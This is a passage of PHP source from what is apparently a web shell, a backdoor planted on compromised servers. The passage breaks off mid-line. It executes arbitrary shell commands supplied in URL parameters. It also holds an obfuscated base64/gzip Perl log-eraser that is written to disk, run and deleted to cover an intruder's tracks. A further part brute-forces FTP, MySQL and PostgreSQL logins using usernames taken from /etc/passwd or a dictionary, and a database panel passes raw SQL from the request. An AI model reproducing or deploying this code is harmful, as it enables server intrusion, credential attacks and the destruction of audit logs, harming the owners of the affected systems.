if(isset(\$_GET['execute']))\r\n{\r\n\t\$comm = \$_GET['execute'];\r\n\tchdir(\$_GET['executepath']);\r\n\t\$check = shell_exec(\$comm);\r\n\t\r\n\techo \"<center><textarea id=showexecute cols=120 rows=20 class=box>\" . \$check . \"</textarea></center>\";\r\n\t\t\r\n\t?>\r\n\t<BR><BR><center><form onSubmit=\"executemyfn('<?php echo addslashes(\$_GET['executepath']); ?>',execute.value);return false;\">\r\n\t<input type=\"text\" class=\"box\" name=\"execute\">\r\n\t<input type=\"button\" onClick=\"executemyfn('<?php echo addslashes(\$_GET['executepath']); ?>',execute.value)\" value=\"Execute\" class=\"but\"></form></center>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET['mycmd']))\r\n{\r\n\tif(\$_GET['mycmd']==\"logeraser\")\r\n\t{\r\n\t\t\$erase = gzinflate(base64_decode(\"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\"));\r\n\t\tif(is_writable(\".\"))\r\n\t\t{\t\r\n\t\t\tif(\$openp = fopen(getcwd().\"/logseraser.pl\", 'w'))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$openp, \$erase);\r\n\t\t\t\tfclose(\$openp);\r\n\t\t\t\tpassthru(\"perl logseraser.pl linux\");\r\n\t\t\t\tunlink(\"logseraser.pl\");\r\n\t\t\t\techo \"<center><font color=#FFFFFF size=3>Logs Cleared</font></center>\";\r\n\t\t\t}\r\n\t\t} else \r\n\t\t{\r\n\t\t\tif(\$openp = fopen(\"/tmp/logseraser.pl\", 'w'))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$openp, \$erase)or die(\"Error\");\r\n\t\t\t\tfclose(\$openp);\r\n\t\t\t\t\$aidx = passthru(\"perl logseraser.pl linux\");\r\n\t\t\t\tunlink(\"logseraser.pl\");\r\n\t\t\t\techo \"<center><font color=#FFFFFF size=3>Logs Cleared</font></center>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\t\$check = shell_exec(\$_GET['mycmd']);\r\n\t\techo \"<center><textarea cols=120 rows=20 class=box>\" . \$check . \"</textarea></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['prototype'])) \r\n{\r\n\techo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars(\$_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars(\$_GET['serverport']).'<br>';\r\n\tif( \$_GET['prototype'] == 'ftp' ) \r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass) \r\n\t\t{\r\n\t\t\t\$fp = @ftp_connect(\$ip, \$port?\$port:21);\r\n\t\t\tif(!\$fp) return false;\r\n\t\t\t\$res = @ftp_login(\$fp, \$login, \$pass);\r\n\t\t\t@ftp_close(\$fp);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\telseif( \$_GET['prototype'] == 'mysql' )\r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass) \r\n\t\t{\r\n\t\t\t\$res = @mysql_connect(\$ip.':'.\$port?\$port:3306, \$login, \$pass);\r\n\t\t\t@mysql_close(\$res);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\telseif( \$_GET['prototype'] == 'pgsql' )\r\n\t{\r\n\t\tfunction BruteFun(\$ip,\$port,\$login,\$pass)\r\n\t\t{\r\n\t\t\t\$str = \"host='\".\$ip.\"' port='\".\$port.\"' user='\".\$login.\"' password='\".\$pass.\"' dbname=postgres\";\r\n\t\t\t\$res = @pg_connect(\$str);\r\n\t\t\t@pg_close(\$res);\r\n\t\t\treturn \$res;\r\n\t\t}\r\n\t}\r\n\t\r\n\t\$success = 0;\r\n\t\$attempts = 0;\r\n\t\$server = explode(\":\", \$_GET['server']);\r\n\tif(\$_GET['type'] == 1) \r\n\t{\r\n\t\t\$temp = @file('/etc/passwd');\r\n\t\tif( is_array(\$temp))\r\n\t\t\tforeach(\$temp as \$line) \r\n\t\t\t{\r\n\t\t\t\t\$line = explode(\":\", \$line);\r\n\t\t\t\t++\$attempts;\r\n\t\t\t\tif(BruteFun(@\$server[0],@\$server[1], \$line[0], \$line[0]) ) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$success++;\r\n\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$line[0]).'<br>';\r\n\t\t\t\t}\r\n\t\t\t\tif(@\$_GET['reverse']) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$tmp = \"\";\r\n\t\t\t\t\tfor(\$i=strlen(\$line[0])-1; \$i>=0; --\$i)\r\n\t\t\t\t\t\t\$tmp .= \$line[0][\$i];\r\n\t\t\t\t\t++\$attempts;\r\n\t\t\t\t\tif(BruteFun(@\$server[0],@\$server[1], \$line[0], \$tmp) ) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$success++;\r\n\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}\r\n\telseif(\$_GET['type'] == 2) \r\n\t{\r\n\t\t\$temp = @file(\$_GET['dict']);\r\n\t\tif( is_array(\$temp) )\r\n\t\t\tforeach(\$temp as \$line) \r\n\t\t\t{\r\n\t\t\t\t\$line = trim(\$line);\r\n\t\t\t\t++\$attempts;\r\n\t\t\t\tif(BruteFun(\$server[0],@\$server[1], \$_GET['login'], \$line) ) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$success++;\r\n\t\t\t\t\techo '<b>'.htmlspecialchars(\$_GET['login']).'</b>:'.htmlspecialchars(\$line).'<br>';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}\r\n\techo \"<span>Attempts:</span> <font class=txt>\$attempts</font> <span>Success:</span> <font class=txt>\$success</font></div>\";\r\n}\r\n// Execute Query\r\nelse if(isset(\$_GET[\"executeit\"]))\r\n{\r\n\tif(isset(\$_GET['username']) && isset(\$_GET['server']))\r\n\t{ \r\n\t\t\$dbserver = \$_GET['server'];\r\n\t\t\$dbuser = \$_GET['username'];\r\n\t\t\$dbpass = \$_GET['password'];\r\n\t\tif(mysql_connect(\$dbserver,\$dbuser,\$dbpass))\r\n\t\t{\r\n\t\t\tsetcookie(\"dbserver\", \$dbserver);\t\t\t\r\n\t\t\tsetcookie(\"dbuser\", \$dbuser);\r\n\t\t\tsetcookie(\"dbpass\", \$dbpass);\r\n\t\t\t\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\t\telse\t\t\t\t\t\r\n\t\t\techo \"cannotconnect\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['action']) && isset(\$_GET['dbname']))\r\n\r\n\r\n\t{\r\n\t\tif(\$_GET['action'] == \"createDB\")\r\n\t\t{\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$mysqlHandle = mysql_connect(\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_query(\"create database \$dbname\",\$mysqlHandle);\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\t\tif(\$_GET['action'] == 'dropDB')\r\n\t\t{\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$mysqlHandle = mysql_connect(\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_query(\"drop database \$dbname\",\$mysqlHandle);\r\n\t\t\tmysql_close(\$mysqlHandle);\r\n\t\t\tlistdatabase();\r\n\t\t}\r\n\r\n\t\tif(\$_GET['action'] == 'listTables')\r\n\t\t{\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Create Tables\r\n\t\tif(\$_GET['action'] == \"createtable\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"CREATE TABLE \$tablename ( no INT )\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Drop Tables\r\n\t\tif(\$_GET['action'] == \"dropTable\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"drop table \$tablename\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Empty Tables\r\n\t\tif(\$_GET['action'] == \"empty\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\tmysql_query(\"delete from \$tablename\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\t// Empty Tables\r\n\t\tif(\$_GET['action'] == \"dropField\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$fieldname = \$_GET['fieldname'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$queryStr = \"ALTER TABLE \$tablename DROP COLUMN \$fieldname\";\r\n\t\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\tmysql_query( \$queryStr , \$mysqlHandle );\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t\r\n\t\tif(\$_GET['action'] == 'viewdb')\r\n\t\t{\r\n\t\t\tlistdatabase();\t\r\n\t\t}\r\n\t\t\r\n\t\t// View Table Schema\r\n\t\tif(\$_GET['action'] == \"viewSchema\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t\$pResult = mysql_query( \"SHOW fields FROM \$tablename\" );\r\n\t\t\t\$num = mysql_num_rows( \$pResult );\r\n\t\t\techo \"<br><br><table align=center cellspacing=4 style='width:80%;' border=1>\";\r\n\t\t\techo \"<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\t\techo \"<tr>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Field\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Type\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Null\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Key\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Default\"].\"</td>\\n\";\r\n\t\t\t\techo \"<td>\".\$field[\"Extra\"].\"</td>\\n\";\r\n\t\t\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('dropField','\$dbname','\$tablename','','','','\$fieldname')\\\">Drop</a></td>\\n\";\r\n\t\t\t\techo \"</tr>\\n\";\r\n\t\t\t}\r\n\t\t\techo \"</table>\";\r\n\t\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t}\r\n\t\t\r\n\t\t// Execute Query\r\n\t\tif(\$_GET['action'] == \"executequery\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$result = mysql_query(\$_GET['executemyquery']); \r\n\t\t\t\r\n\t\t\t// results \r\n\t\t\techo \"<html>\\r\\n\". strtoupper(\$_GET['executemyquery']) . \"<br>\\r\\n<table border =\\\"1\\\">\\r\\n\"; \r\n\t\t\t \r\n\t\t\t\$count = 0; \r\n\t\t\twhile (\$row = mysql_fetch_assoc(\$result)) \r\n\t\t\t{ \r\n\t\t\t echo \"<tr>\\r\\n\"; \r\n\t\t\t \r\n\t\t\t if (\$count==0) // list column names \r\n\t\t\t { \r\n\t\t\t\t echo \"<tr>\\r\\n\"; \r\n\t\t\t\t while(\$key = key(\$row)) \r\n\t\t\t\t { \r\n\t\t\t\t\t echo \"<td><b>\" . \$key . \"</b></td>\\r\\n\"; \r\n\t\t\t\t\t next(\$row); \r\n\t\t\t\t } \r\n\t\t\t\t echo \"</tr>\\r\\n\"; \r\n\t\t\t } \r\n\t\t\t \r\n\t\t\t foreach(\$row as \$r) // list content of column names \r\n\t\t\t { \r\n\t\t\t\t if (\$r=='') \$r = '<font >NULL</font>'; \r\n\t\t\t\t echo \"<td><font class=txt>\" . \$r . \"</font></td>\\r\\n\"; \r\n\t\t\t } \r\n\t\t\t echo \"</tr>\\r\\n\"; \r\n\t\t\t \$count++; \r\n\t\t\t} \r\n\t\t\techo \"</table>\\n\\r<font class=txt size=3>\" . \$count . \" rows returned.</font>\\r\\n</html>\"; \r\n\t\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t}\r\n\t\t\r\n\t\t// View Table Data\r\n\t\tif(\$_GET['action'] == \"viewdata\")\r\n\t\t{\r\n\t\t\tglobal \$queryStr, \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby, \$data;\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> <a href=\$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t?>\r\n\t\t\t<br><br>\r\n\t\t\t<form>\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><textarea cols=\"60\" rows=\"7\" name=\"executemyquery\" class=\"box\">Execute Query..</textarea></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('executequery','<?php echo \$_GET['dbname'];?>','<?php echo \$_GET['tablename']; ?>','','',executemyquery.value)\" value=\"Execute\" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t<?php \r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname') AND (`TABLE_NAME` = '\$tablename') AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$rowid = \$row['COLUMN_NAME'];\r\n\t\t\t\r\n\t\t\techo \"<br><font size=4 color =lime>Data in Table</font><br>\";\r\n\t\t\tif( \$tablename != \"\" )\r\n\t\t\t\techo \"<font size=3 class=txt>\$dbname > \$tablename</font><br>\";\r\n\t\t\telse\r\n\t\t\t\techo \"<font size=3 class=txt>\$dbname</font><br>\";\r\n\t\t\t\r\n\t\t\t\$queryStr = \"\";\r\n\t\t\t\$pag = 0;\r\n\t\t\t\$queryStr = stripslashes( \$queryStr );\r\n\t\t\tif( \$queryStr == \"\" ) \r\n\t\t\t{\r\n\t\t\t\tif(isset(\$_REQUEST['page']))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$res = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\t\t\$getres = mysql_num_rows(\$res);\r\n\t\t\t\t\t\$coun = ceil(\$getres/30);\r\n\t\t\t\t\tif(\$_REQUEST['page'] != 1)\r\n\r\n\t\t\t\t\t\t\$pag = \$_REQUEST['page'] * 30;\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$pag = \$_REQUEST['page'] * 30;\r\n\t\t\t\t\t\r\n\t\t\t\t\t\$queryStr = \"SELECT * FROM \$tablename LIMIT \$pag,30\";\r\n\t\t\t\t\t\$sql = mysql_query(\"SELECT \$rowid FROM \$tablename ORDER BY \$rowid LIMIT \$pag,30\");\r\n\t\t\t\t\t\$arrcount = 1;\r\n\t\t\t\t\t\$arrdata[\$arrcount] = 0;\r\n\t\t\t\t\twhile(\$row = mysql_fetch_array(\$sql))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$arrdata[\$arrcount] = \$row[\$rowid];\r\n\t\t\t\t\t\t\$arrcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\$queryStr = \"SELECT * FROM \$tablename LIMIT 0,30\";\r\n\t\t\t\t\t\$sql = mysql_query(\"SELECT \$rowid FROM \$tablename ORDER BY \$rowid LIMIT 0,30\");\r\n\t\t\t\t\t\$arrcount = 1;\r\n\t\t\t\t\t\$arrdata[\$arrcount] = 0;\r\n\t\t\t\t\twhile(\$row = mysql_fetch_array(\$sql))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$arrdata[\$arrcount] = \$row[\$rowid];\r\n\t\t\t\t\t\t\$arrcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif( \$orderby != \"\" )\r\n\t\t\t\t\t\$queryStr .= \" ORDER BY \$orderby\";\r\n\t\t\t\techo \"<a href=# onClick=\\\"viewtables('viewSchema','\$dbname','\$tablename')\\\"><font size=3>Schema</font></a>\\n\";\r\n\t\t\t}\r\n\t\t\r\n\r\n\t\t\t\$pResult = mysql_query(\$queryStr );\r\n\t\t\t\$fieldt = mysql_fetch_field(\$pResult);\r\n\t\t\t\$tablename = \$fieldt->table;\r\n\t\t\t\$errMsg = mysql_error();\r\n\t\t\r\n\t\t\t\$GLOBALS[queryStr] = \$queryStr;\r\n\t\t\r\n\t\t\tif( \$pResult == false ) \r\n\t\t\t{\r\n\t\t\t\techoQueryResult();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\tif( \$pResult == 1 ) \r\n\t\t\t{\r\n\t\t\t\t\$errMsg = \"Success\";\r\n\t\t\t\techoQueryResult();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\r\n\t\t\techo \"<hr color='#1B1B1B'>\\n\";\r\n\t\t\r\n\t\t\t\$row = mysql_num_rows( \$pResult );\r\n\t\t\t\$col = mysql_num_fields( \$pResult );\r\n\t\t\r\n\t\t\tif( \$row == 0 ) \r\n\t\t\t{\r\n\t\t\t\techo \"<font size=3>No Data Exist!</font>\";\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\r\n\t\t\tif( \$rowperpage == \"\" ) \$rowperpage = 30;\r\n\t\t\tif( \$page == \"\" ) \$page = 0;\r\n\t\t\telse \$page--;\r\n\t\t\tmysql_data_seek( \$pResult, \$page * \$rowperpage );\r\n\t\t\r\n\t\t\techo \"<table cellspacing=1 cellpadding=5 border=1 align=center>\\n\";\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\tfor( \$i = 0; \$i < \$col; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\t\techo \"<th>\";\r\n\t\t\t\tif(\$action == \"viewdata\")\r\n\t\t\t\t\techo \"<a href='\$PHP_SELF?action=viewdata&dbname=\$dbname&tablename=\$tablename&orderby=\".\$field->name.\"'>\".\$field->name.\"</a>\\n\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \$field->name.\"\\n\";\r\n\t\t\t\techo \"</th>\\n\";\r\n\t\t\t}\r\n\t\t\techo \"<th colspan=2>Action</th>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\t\$num=1;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\$acount = 1;\r\n\t\t\t\t\t\t\r\n\t\t\tfor( \$i = 0; \$i < \$rowperpage; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$rowArray = mysql_fetch_row( \$pResult );\r\n\t\t\t\tif( \$rowArray == false ) break;\r\n\t\t\t\techo \"<tr>\\n\";\r\n\t\t\t\t\$key = \"\";\r\n\t\t\t\tfor( \$j = 0; \$j < \$col; \$j++ )\r\n\t\t\t\t {\r\n\t\t\t\t\t\$data = \$rowArray[\$j];\r\n\t\t\r\n\t\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$j );\r\n\t\t\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\t\t\t\$key .= \"&\" . \$field->name . \"=\" . \$data;\r\n\t\t\r\n\t\t\t\t\tif( strlen( \$data ) > 30 )\r\n\t\t\t\t\t\t\$data = substr( \$data, 0, 30 ) . \"...\";\r\n\t\t\t\t\t\$data = htmlspecialchars( \$data );\r\n\t\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\t\techo \"<font class=txt>\$data</font>\\n\";\r\n\t\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t\tif(!is_numeric(\$arrdata[\$acount]))\r\n\t\t\t\techo \"<td colspan=2>No Key</td>\\n\";\r\n\t\t\t\telse \r\n\t\t\t\t{\r\n\t\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('editData','\$dbname','\$tablename','\$rowid','\$arrdata[\$acount]')\\\">Edit</a></td>\\n\";\r\n\t\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('deleteData','\$dbname','\$tablename','\$rowid','\$arrdata[\$acount]')\\\">Delete</a></td>\\n\";\r\n\t\t\t\t\t\$acount++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\r\n\t\t\r\n\t\t\techo \"</table>\";\r\n\t\t\tif(\$arrcount > 30)\r\n\t\t\t{\r\n\t\t\t\t\$res = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\t\$getres = mysql_num_rows(\$res);\r\n\t\t\t\t\$coun = ceil(\$getres/30);\r\n\t\t\t\techo \"<form action=\$self><input type=hidden value=viewdata 